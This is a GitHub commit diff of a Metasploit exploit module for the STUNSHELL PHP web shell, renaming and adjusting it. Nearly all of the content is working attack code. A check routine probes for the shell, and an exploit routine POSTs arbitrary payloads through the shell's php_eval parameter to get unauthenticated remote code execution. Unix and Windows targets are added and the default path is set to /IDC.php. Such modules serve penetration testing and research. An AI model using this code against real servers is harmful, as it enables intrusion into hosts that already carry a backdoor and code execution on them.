Skip to content

Commit 2a60ef2

Browse files
author
bwall
committed
Renamed and fixed some code issues
1 parent e98a463 commit 2a60ef2

File tree

1 file changed

+19
-18
lines changed

1 file changed

+19
-18
lines changed

modules/exploits/multi/misc/stunshell_eval.rb renamed to modules/exploits/multi/http/stunshell_eval.rb

Lines changed: 19 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -8,14 +8,15 @@
88
require 'msf/core'
99

1010
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = GreatRanking
1112

1213
include Msf::Exploit::Remote::HttpClient
1314

1415
def initialize(info={})
1516
super(update_info(info,
16-
'Name' => '"STUNSHELL" Web Shell Remote Code Execution(PHP eval)',
17+
'Name' => 'STUNSHELL Web Shell Remote Code Execution(PHP eval)',
1718
'Description' => %q{
18-
This module exploits unauthenticated versions of the "STUNSHELL" web shell. This
19+
his module exploits unauthenticated versions of the "STUNSHELL" web shell. This
1920
module works when safe mode is enabled on the web server. This shell is widely
2021
used in automated RFI payloads.
2122
},
@@ -27,7 +28,7 @@ module works when safe mode is enabled on the web server. This shell is widely
2728
'References' =>
2829
[
2930
['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'],
30-
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007'],
31+
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007']
3132
],
3233
'Privileged' => false,
3334
'Payload' =>
@@ -38,22 +39,26 @@ module works when safe mode is enabled on the web server. This shell is widely
3839
},
3940
'Platform' => ['php'],
4041
'Arch' => ARCH_PHP,
41-
'Targets' => [['Automatic',{}]],
42+
'Targets' =>
43+
[
44+
['stunshell / Unix', { 'Platform' => 'unix' } ],
45+
['stunshell / Windows', { 'Platform' => 'win' } ]
46+
],
4247
'DisclosureDate' => 'Mar 23 2013',
4348
'DefaultTarget' => 0))
4449

4550
register_options(
4651
[
47-
OptString.new('URI',[true, "The path to the andalas_oku shell", "/"]),
52+
OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]),
4853
],self.class)
4954
end
5055

5156
def check
52-
uri = normalize_uri(datastore['URI'])
57+
uri = normalize_uri(target_uri.path.to_s)
5358
request_parameters = {
54-
'method' => 'POST',
55-
'uri' => uri,
56-
'vars_post' =>
59+
'method' => 'POST',
60+
'uri' => uri,
61+
'vars_post' =>
5762
{
5863
'cmd' => "php_eval",
5964
'php_eval' => "print 'andalas_oku test parameter';"
@@ -66,12 +71,12 @@ def check
6671
return Exploit::CheckCode::Safe
6772
end
6873

69-
def http_send_command(cmd, opts = {})
70-
uri = normalize_uri(datastore['URI'])
74+
def http_send_command(cmd)
75+
uri = normalize_uri(target_uri.path.to_s)
7176
request_parameters = {
72-
'method' => 'POST',
73-
'uri' => uri,
74-
'vars_post' =>
77+
'method' => 'POST',
78+
'uri' => uri,
79+
'vars_post' =>
7580
{
7681
'cmd' => "php_eval",
7782
"php_eval" => cmd
@@ -80,10 +85,6 @@ def http_send_command(cmd, opts = {})
8085
res = send_request_cgi(request_parameters)
8186
end
8287

83-
def execute_command(cmd, opts = {})
84-
http_send_command("#{cmd}")
85-
end
86-
8788
def exploit
8889
http_send_command(payload.encoded)
8990
end

0 commit comments

Comments
 (0)